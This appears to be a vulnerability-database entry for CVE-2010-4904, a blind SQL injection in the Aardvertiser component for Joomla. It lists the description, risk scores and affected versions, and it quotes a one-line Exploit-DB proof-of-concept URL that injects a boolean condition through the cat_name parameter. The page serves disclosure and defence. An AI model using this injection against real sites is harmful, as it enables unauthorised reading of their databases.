CVE-2010-4904

high

Published 2011-10-08 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

SQL injection vulnerability in the Aardvertiser (com_aardvertiser) component 2.1 and 2.1.1 for Joomla! allows remote attackers to execute arbitrary SQL commands via the cat_name parameter in a view action to index.php. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14922 webapps php verified text · 1 KB

Stephan Sattler · 2010-09-06

Joomla! Component Aardvertiser 2.1 - Blind SQL Injection

text exploit Source: Exploit-DB

# Exploit Title: Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability
# Date: 07.09.2010
# Author: Stephan Sattler // www.solidmedia.de
# Software Link: http://sourceforge.net/projects/aardvertiser/files/com_aardvertiser%20V2.1.1%20Free/com_aardvertiserfree.zip/download
# Version: 2.1 free


[ Vulnerability//PoC ]

http://server/joomlapath/index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view

Application impact

Vendor	Product	Versions
simon_philips	com_aardvertiser	`2.1`
simon_philips	com_aardvertiser	`2.1.1`
joomla	joomla\!

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.